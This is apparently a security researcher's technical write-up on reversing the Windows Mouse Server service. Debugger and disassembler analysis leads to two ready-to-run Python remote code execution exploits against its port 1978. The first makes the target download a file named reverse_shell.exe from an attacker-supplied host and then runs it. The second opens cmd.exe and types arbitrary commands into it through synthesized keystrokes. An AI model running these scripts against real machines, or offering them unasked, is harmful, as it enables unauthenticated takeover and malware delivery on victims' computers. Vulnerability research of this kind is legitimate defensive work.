---
description: Technical analysis of Mouse Server exploit
---

# Mouse Server

OS : Windows

Version : Latest

Vulnerability : By-design remote code execution on MouseServer servers.

Pre-Requisites to follow along : Basic knowledge on assembly, IDA & WinDbg

Impact : Code Execution as Administrator

## Technical Analysis

Lets begin by performing static analysis of MouseServer first. Upon installing mouse server on our windows VM, we analysis running ports via `tcpdump` utility.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FnvYmjXMSh8b4UZfyKBg7%2Fimage.png?alt=media&#x26;token=0096db85-32ca-4100-b369-e7899193fd71" alt=""><figcaption><p>Tcpdump</p></figcaption></figure>

Output shows that `MouseServer.exe` is listening on port `1978` on our VM.  Lets use telnet to connect to this port. Telnet shows that string "system windows 6.2" is printed once you connect to the port which implies that before sending data over the socket, we need to first fetch this string and post that send our payload. Given that, lets start by sending some random data to this port and analyse the input flow.&#x20;



We attach `WinDbg` to the process and set a breakpoint at `ws2_32!recv`. The reason we choose this WinAPI is because it is the most commonly used API for receiving data over TCP socket. This implies that if input is received over TCP, then this API will get triggered and upon finishing the call to `recv` we will land directly into code which performs analysis over our input buffer.&#x20;

Let's verify this hypothesis.

Open Windbg as Administrator and attach itself to MouseServer.exe . Using narly to view the properties of executable shows that MouseServer is compiled with DEP and SafeSEH but is not compiled with ASLR. This is common mistake where developers often forgets to build the executable with ASLR.&#x20;

Alright, enough chat, lets set a breakpoint. We will be using the following script to send data to MouseServer

```python
import socket
import sys
import struct
import time

if __name__ == "__main__":
    target = sys.argv[1]
    port = 1978
    
    buf = b"A"*100
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    print(s.recv(1024))
    s.send(buf)
    s.close()
```

Executing the above code triggers the breakpoint in Windbg

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FpbIScVUutz2NO31xwvtH%2Fimage.png?alt=media&#x26;token=98a50c62-ead1-4aee-9a11-7e0fc3585c8b" alt=""><figcaption><p>recv breakpoint triggered</p></figcaption></figure>

Lets return from this function and we will find the address we step right into.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FF9Svop2jtBQwUWfRSG05%2Fimage.png?alt=media&#x26;token=5da1824f-6efa-4be0-88c6-98e9fd19bc14" alt=""><figcaption><p>Jumps right into main code</p></figcaption></figure>

Notice that `eax` contains `0x64` which is the length of input buffer. Lets take note of this address `0040A7D0` and open it in IDA. Look at Windbg the base address of MouseServer.exe is at `0x400000` and since there is no ASLR base address remains constant across several execution.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FeU1e7VVuVafr2t66b52z%2Fimage.png?alt=media&#x26;token=3fa84821-9cad-4cb1-b01b-aa57d2ecb9ca" alt=""><figcaption><p>IDA at 0x40a7d0</p></figcaption></figure>

`eax` is compared against -1 which likely checks if recv call is successful. Stepping through windbg we reach a function call at `0x40a7F4`. Looking at the arguments shows that some values  + our input buffer is passed into it.&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FONqaZk0KnWEhIeY703Xg%2Fimage.png?alt=media&#x26;token=395cfbeb-fd2d-411a-be96-68a9c9020ab8" alt=""><figcaption><p>Input passed into function 0x40abd0</p></figcaption></figure>

Educated guess suggests that there is some sort of structure being used by developer which looks something like this :-

```
struct input{
    dword some_value;            # 0x0000049c over here
    dword input_size;            # 0x64 here
    char *input;
}
```

Keeping this in mind, lets look into function `sub_40ABD0` in IDA.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FfYSnrCwqseEc2aDVnetC%2Fimage.png?alt=media&#x26;token=e0b2254b-08d6-4746-ab53-64f04296ba77" alt=""><figcaption><p>sub_40abd0</p></figcaption></figure>

As shown, `edi` points to argument i.e the input structure. `[edi+4]` is input\_size which implies that size of input should be greater than/ equal to 3.

Now, `[edi+9]` is loaded into `esi` which directly points to our input buffer. Next few instruction suggests that if first 3 chracters are either `key` or `mos` function `sub_40D9C0` is called or else `sub_40BF30` is called. Also note that at address `0x40ac0f` `strstr` function is called which basically makes sure that the last character is `\n`.

Therefore new input will now be couple of As followed by `\n`.&#x20;

Analysing function `sub_40Bf30` shows that there are multiple comparisions being made against input buffer. Extensive search for the right branch leads us to multiple interesting comparisons i.e `openfile`,`browser openurl` and `utf8` . Lets analyse each of each branch to prepare the exploit chain.

## Combination 1 : Browser OpenURL + OpenFile

At address `0040CEC9` input is compared against "browser openurl " string. Following down the rabbit hole we notice that eventually `ShellExecuteA` is called.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2F1Ny5UMj10oGYr3mvbIpv%2Fimage.png?alt=media&#x26;token=34dccb6f-183e-4696-88b5-db3d69d6b026" alt=""><figcaption><p>ShellExecuteA</p></figcaption></figure>

Lets send input as `browser openurl http://google.com` to the server with breakpoint at `40cec9.`

Following the input in windbg shows that eventually `ShellExecuteA(0,open,"http://google.com",0,0,3)` is called. Continuing the execution reveals that `http://google.com` is opened in browser. We now have a way to make target download our payload.



At address `0040D61F` input is compared against "openfile " string. Following down the rabbit hole we notice that eventually move to `0040D6A0` address&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FsWGzT2ZxToxUCQfeAu2E%2Fimage.png?alt=media&#x26;token=ca8f9807-70e3-4cdb-9c9b-1da5f2dabd38" alt=""><figcaption><p>0040d61f</p></figcaption></figure>

Lets send our input as "openfile C:\\\Windows\\\System32\\\cmd.exe\n" to server with breakpoint at `40d627`

Following the input in windbg shows that eventually `C:\\Windows\\System32\\cmd.exe` is passed to function `sub_4044d0` at `40d6be` . Continuing the execution reveals that indeed `cmd.exe` is executed on target. We now have a way to execute payloads on target.



Final Exploit :-

```python
import socket
import struct
import sys
import time

def exploit(target,port,attack_ip,attack_port,filename):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    print("f[!] Downloading {filename} from http://{ip}:{port}!")
    buf = b"browser openurl http://"+attack_ip+b":"+attack_port+b"/"+filename+b"\n"
    s.send(buf)
    time.sleep(0.1)
    print(f"[!] Executing {filename} on target")
    buf = b"openfile C:\\Users\\%USERNAME%\\Downloads\\"+filename+b"\n"
    s.send(buf)
    time.sleep(0.1)
    print("[!] Executed!")
    s.close()

if __name__=="__main__":
    target = sys.argv[1]
    port = 1978
    
    attacker_ip = 127.0.0.1 #Insert your IP here
    attacker_port = 8080    # Insert your port here
    filename = "reverse_shell.exe"        # Insert file to be downloaded on target
    exploit(target,port,attacker_ip,attacker_port,filename)

```



## Combination 2 : OpenFile + UTF8

We have already discussed about OpenFile, lets discuss about `utf8` comparision.

At address `040C388` comparision is made against 5 bytes of input with "utf8 ". Upon successful comparision it goes down straight into `040C3A2` i.e function `sub_40F030` .&#x20;

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FH0QAZSuOSpqPeaJQ6UNj%2Fimage.png?alt=media&#x26;token=3b45eb8a-cb99-46e7-9d5e-11c4b2375564" alt=""><figcaption><p>Branch for utf8</p></figcaption></figure>

Notice that `ecx` has been made point to `[ebp-101B]`. Dynamic analysis with windbg shows that this is indeed our input buffer followed by "utf8 ". For instance if we input "utf8 C:\\\Windows\\\System32\\\cmd.exe", the string `C:\\Windows\\System32\\cmd.exe` is pased into ecx . Lets deep dive into function `sub_40F030`.

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FSEybBgt99dPCAYTPopdM%2Fimage.png?alt=media&#x26;token=45c90f2c-c97c-4662-ac6e-8c2e09dced40" alt=""><figcaption></figcaption></figure>

The function seems to be first getting foreground window and check if it is compatible with unicode strings. If yes, then only it goes ahead and gets all threads of GUI foreground. Conituing, we notice that `SendInput` API is called which is generally used to synthesize keyboard strokes. Hence we might be actually typing our input in the foreground windows. To confirm this, lets set a breakpoint at `40F18E` to look at the arguments of `SendInput`

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2FRNmqLAzWaZTLVag9Alsf%2Fimage.png?alt=media&#x26;token=fa680fb2-1a88-4ecb-931f-261dcecf6cda" alt=""><figcaption><p>SendInput</p></figcaption></figure>

Looking at documentation of SendInput API, it seems that `eax` contains tagINPUT structure defined as :-

```cpp
typedef struct tagINPUT {
  DWORD type;
  union {
    MOUSEINPUT    mi;
    KEYBDINPUT    ki;
    HARDWAREINPUT hi;
  } DUMMYUNIONNAME;
} INPUT, *PINPUT, *LPINPUT;
```

The first element i.e type indicates whether its a keyboard or mouse stroke. As shown the first dword is `0x1` in our case which indicates keyboard stroke. Next is union of 3 structures i.e and since its a keyboard input there is high chance it will be indeed KEYBDINPUT structure. Lets expand this in windbg

<figure><img src="https://1804885456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo3S6x9y21ea77Yw303B%2Fuploads%2Fd2IJ8jGYJzda9SRrOuL0%2Fimage.png?alt=media&#x26;token=7bc8c294-6064-42ea-978c-b19e07387bea" alt=""><figcaption><p>KEYBDINPUT</p></figcaption></figure>

Continuing the execution shows that the input bytes are printed in windbg output since that is the application running in foreground. We have now just a last challenge to solve for which is new line. In windows new line is denoted by `\r\n` , but during the initial branch of code there is a check for `\n` in `sub_40bf30` where it looks for `\n` initially and only considers the first part of string. Later there is also check for `\r` where same strategy is being applied as code only considers first part of string without `/r`.

The trick here is the check against `\n` is being done by `strstr` function but check against `\r` is being done by a single comparision against last character of the string pointer returned by `strstr`. Hence we can supply 2 `\r` to make sure `\r` is passed into input flow to indicate a new line.

Final Exploit :-

```python
import socket
import struct
import sys
import time

def exploit(target,port,payload):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target,port))
    print("f[!] Opening cmd.exe")
    buf = b"openfile C:\\Windows\\System32\\cmd.exe\n"
    s.send(buf)
    time.sleep(0.1)
    print(f"[!] Executing {payload} on target")
    buf = b"utf8 "+payload+b"\r\r\n"
    s.send(buf)
    time.sleep(0.1)
    print("[!] Executed!")
    s.close()

if __name__=="__main__":
    target = sys.argv[1]
    port = 1978    
    payload = b"calc.exe"
    exploit(target,port,payload) 
```

Thanks for reading !&#x20;
